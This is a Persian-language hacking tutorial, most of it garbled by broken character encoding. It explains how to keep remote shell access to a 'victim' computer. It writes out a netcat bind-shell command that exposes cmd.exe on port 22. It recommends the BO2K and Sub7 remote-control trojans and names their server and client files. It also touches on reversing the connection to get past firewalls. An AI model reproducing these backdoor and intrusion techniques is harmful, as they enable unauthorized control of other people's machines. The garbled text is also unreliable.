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ΪηΎΑ�ˬΖγ΍�ίΎΑ�ϲϧΎΑήϗ�ήΗϮϴ̢ϣΎ̯�ϱϭέ�ήοΎΣ���Ϧϣ�ϼΜϣ˻˻ϲϣ�ΏΎΨΘϧ΍�ϭέ��ϢϨ̯���έΩshell�ϲϣ�΍ήΟ΍�ϭέ�ήϳί�έϮΘγΩ�ϲϧΎΑήϗ�ήΗϮϴ̢ϣΎ̯�ϢϨ̯��

nc -l -p 22 -e cmd.exe 

�������ΕέϮ˰˰̡�έΩ�ϲϨ˰˰όϳ�Ϧ˰˰ϳ΍˻˻��������ΰϴ˰˰ ϧ�ϭ�Ϫ˰˰ϧϮϤΑ�εϮ̴ϟΎ˰˰ϓ�cmd������̮˰˰ϳ�Ϧ˰˰ϣ�Ϫ˰˰̯�Ϫ˰˰Ϩ̯�΍ή˰˰Ο΍�Ϣ˰˰ϫ�ϭέshell��ϡέΎ˰˰ϴΑ�Ζ˰˰γΪΑ���Ϫ˰˰̳΍�ϻΎ˰˰Σip������ϼ˰˰Μϣ�ϲϧΎ˰˰Αήϗ�ήΗϮϴ̢ϣΎ˰˰̯

̌˼̄˺̊́̄˺˺˻̄̌̋�ϲϣ�΍ήΟ΍�ϭέ�έϮΘγΩ�Ϧϳ΍�ϡΩϮΧ�ήΗϮϴ̢ϣΎ̯�έΩ�ˬϪηΎΑ�ϢϨ̯��
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������ϲϣ�ϝΎΣ�Ϫ̯�ϡΪϴγέ�Ϟη�ϪΑ�Ϫ̳΍�ΏϮΧ�ϢϨ̯����������������ϲϤϧ�Ωέ΍Ϯϣ�Ϧϳ΍�ϪϤϫ�ϲσ�ϢϏήϴϠϋ�Ϫ̯�ΩΎϴϣ�ζϴ̡�ϊϗ΍Ϯϣ�ϲπόΑ�ϲϟϭ�������΍Ϊ˰˰ϴ̡�Ζ˰˰γΩ�Ϊ˰ϳΪΟ�Ϟη�ϪΑ�ϢϧϮΗ

���������������������Ϣ˰˰θΑ�Ζ˰̰ϧΎ̯�ζ˰ϬΑ�ϡΩή˰˰̯�κΨθϣ�Ϫ̯�ϲΗέϮ̡�ΎΑ�ϩΪϴϤϧ�ϩίΎΟ΍�Ϫ̯�ϩΪη�̭ϼΑ�ϲϟ΍ϭήϳΎϓ�ςγϮΗ�έϭήγ�ϥϭ΍�Ϫ̯�ϪϨϳ΍�ϻϮϤόϣ�Ϣϫ�ζϠϴϟΩ�Ϫ̯�ϢϨ̯���έΩ

���ϲϣ�ϥϮΘϬΑ�ϪϟΎϘϣ�ήΧ΁��������ΪϴϨ̰Α�ΪϳΎΑ�έΎ̰̩�ϊϗ΍Ϯϣ�Ϧϳ΍�έΩ�Ϫ̯�Ϣ̳���������������ϲϧΎ˰˰Αήϗ�ήΗϮϴ̢ϣΎ˰˰̯�Ϫ˰˰̯�ΩϮ˰˰Α�Ϊϫ΍ϮΧ�ϝΎόϓ�ϲϧΎϣί�ΎΗ�Ϟη�Ϧϳ΍�Ϫ̯�ϪϨϳ΍�ϱΪόΑ�ϪΘ̰ϧrestart�

Ϫθϧ����ήΗϮϴ̢ϣΎ̯�ϥϮ̩�ϭ�����ήϳΩ�ϪΑ�ήϳΩ�έϭήγ�ϱΎϫrestart�ϲϣ������������ΩϮΑ�Ϊϫ΍ϮΧ�Ϧϣ�αήΘγΩ�έΩ�ϲϧϻϮσ�ΎΘΒδϧ�ΕΪϣ�ϱ΍ήΑ�Ϟη�Ϧϳ΍�ˬΪϧϮη������ή˰˰ϫ�Ϧϳ΍Ϯ˰ΨΑ�Ϫ̳΍

�ήΗϮϴ̢ϣΎ̯�Ϫ̯�έΎΑrestart�ˬϪθϴϣ�εϭέ�ί΍�ˬϪθΑ�ΩΎΠϳ΍�Ϟη�ϩέΎΑϭΩ���ΕέϮ̡�ϪΑ�ρϮΑήϣ�αέΩ�έΩ�Ϫ̯�ϲϳΎϫ˺˼̂�ΪϴϨ̯�ϩΩΎϔΘγ΍�ˬϢΘϔ̳�� 

 

 

-�ϲϣ�Ύϳ΁�ϥΎΟϭήΗ�ί΍�ϢϧϮΗ��ΰΠΑ�ϱή̴ϳΩ�ϱΎϫnc�ˮϢϨ̯�ϩΩΎϔΘγ΍ 

 

�ΎϤϠδϣ� 

˺-���ϡΎϧ�ϪΑ�ϲϧΎΟϭήΗncx99��Ύϳncx���ΕέϮ̡�έΩ�Ϟη�Ϫϳ�Ϫ̯�ϩέ΍Ω�ΩϮΟϭ̂̂��ϲϣ�ίΎΑ�ϲϧΎΑήϗ�έϭήγ�����ϞΜϣ�εέΎ̯�ϥϮ̩�ϲϟϭ�ϪϨ̯nc������ϱήΘ˰θϴΑ�΢ϴ˰˰οϮΗ�ˬΖγ΍

ϲϤϧ�ϡΩ�� 

˻-�ϲϣ�Ϫ̳΍��ϱΎΟ�ϪΑ�Ϧϳ΍ϮΧnc�̮ϳ�ˬremote control software��������ί΍�ϩΩΎϔΘ˰˰γ΍�Ϧ˰˰ϣ�Ϫϴ˰˰λϮΗ�ˬΪ˰˰ϴϨ̯�΍ή˰Ο΍�ϲϧΎ˰Αήϗ�ήΗϮϴ̢ϣΎ̯�ϱϭέBO2K�Ζ˰˰γ΍����ΖϳΎ˰˰γ

BO2K���ϥϭ΍Ω�ϱ΍ήΑ�ϭ�ΪϴϨϴΒΑ�ϭέ���ϪΑ�ϥϭ΍�ΩϮϟ���ϪΤϔλ�Ϧϳ΍�Ύϳ���ϪΤϔλ�Ϧϳ΍�ΪϴϨ̯�ϪόΟ΍ήϣ�����ΎΑ�ϥΩή̯�έΎ̯BO2K��ϞΜϣ�ΎΒϳήϘΗsub7��Ϟ˰˰Μϣ�ϲϟϭ�ϩsub7���ϡή˰ϧ��έ΍ΰ˰˰ϓ΍

��Ζδϴϧ�ϲγϮϟ���έΩBO2K���ϲϣ�΍ήΟ΍�ϥϮΗΩϮΧ�Ϫ̯�ΖϨϳϼ̯�ϞϳΎϓ���ˬΪϴϨ̯bo2kgui.exe�������������ϱ΍ή˰˰Α�έϭή˰˰γ�ΎϤ˰η�ϱΎ˰˰ϫίΎϴϧ�Ϫ˰˰Α�Ϫ˰˰ΟϮΗ�Ύ˰˰Α�Ϫ˰̯�ϲϠϳΎ˰˰ϓ�ϭ�Ωέ΍Ω�ϡΎϧ

��ϲϣ�ϲϧΎΑήϗ�ήΗϮϴ̢ϣΎ̯�ˬΩίΎγ��bo2kcfg.exe�Ζγ΍�������Ϫ̯�Ϊη�ϪΘΧΎγ�έϭήγ�Ϫ̰Ϩϳ΍�ί΍�ΪόΑbo2k.exe��������ϲϣ�ϲϧΎΑήϗ�ήΗϮϴ̢ϣΎ̯�Ϫγ΍ϭ�Ϯϧϭ΍�ˬΩέ΍Ω�ϡΎϧ��ΪϴΘγήϓ

ϲϣ�΍ήΟ΍�ΎΠϧϮϤϫ�ϭ�ΪϴϨ̯���Ϫϳ�ϻΎΣremote control��Ϊϳέ΍Ω�έϭήγ�ϱϭέ�� 

˼-��ϭ��� 
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����ϲϣ�ωϮοϮϣ�Ϧϳ΍�������������������ϲ˰˰Ϥϧ�Ϫ˰˰̯�ϩέ΍Ω�έ΍ή˰˰ϗ�έϭή˰γ�ί΍�Ϟ˰˰Βϗ�ϝ΍ϭήϳΎϓ�̮ϳ�Ϫ̯�ϪϨϳ΍�ζϠϴϟΩ�ϻϮϤόϣ�ϲϟϭ�ϪηΎΑ�ϪΘη΍Ω�ϲϔϠΘΨϣ�ϞϳϻΩ�ϪϧϮΗ������ϪΑ �ϩέ΍Ϋnc���Ζ˰˰̰ϧΎ̯

ϦϴθΑ������������Ϫ̯�ΩΎϴϣ�ζϴ̡�ϲόϗϮϣ�ϻϮϤόϣ�ΖϟΎΣ�Ϧϳ΍nc����ΕέϮλ�ϪΑ�ϭέpassive���εϮ̴ϟΎϓ�ϲϨόϳ���������ϡΩ΍Ω�΢ϴ˰οϮΗ�Ϫ˰˰̯�ϱΩέϮϣ�ϞΜϣ�������ϩΩή˰˰̯�ΐ˰μϧ�έϭή˰γ�ϭέ

ϦϴηΎΑ��ϲϣ�ΎϤη�ϥϮ̩�������ΪϳϮθΑ�Ζ̰ϧΎ̯�ϥϭ΍�ϪΑ�Ϊϴϫ΍ϮΧ�������έϭήγ�ϥϭ΍�ϭ�ϦϴΘδϫ�ΖϨϳϼ̯�ΎϤη�ϥϮ̩��ˬ����ϲϤϧ�ϭέ�ϩίΎΟ΍�Ϧϳ΍�ϝ΍ϭήϳΎϓ��ϩΩ�����ή̳΍�ΖϟΎΣ�Ϧϳ΍�έΩ

�����ϭ�ϢϴϨ̯�β̰ϋήΑ�ϭέ�ϊοϭnc������������ˬϪθΑ�Ζ̰ϧΎ̯�Ύϣ�ϪΑ�ϥϭ΍�Ϫ̯�ϢϴϨ̯�ϢϴψϨΗ�ϱέϮσ�ϭέ��������Ϫ˰˰θϴϣ�Ϟ˰Σ�Ϟ̰θ ϣ�ϻϮϤόϣ���������εϭέ�ϱΎ˰˰ΠΑ�Ϊ˰ϳΎΑ�ϲϨ˰όϳpassive���ί΍�ˬ

�εϭέactive�ϢϴϨ̯�ϩΩΎϔΘγ΍��ϲϣ�΍ήΟ΍�ήϳί�έϮΘγΩ�ϥϮϣΩϮΧ�ήΗϮϴϣΎ̯�έΩ�ΖϟΎΣ�Ϧϳ΍�έΩ�ϢϴϨ̯��
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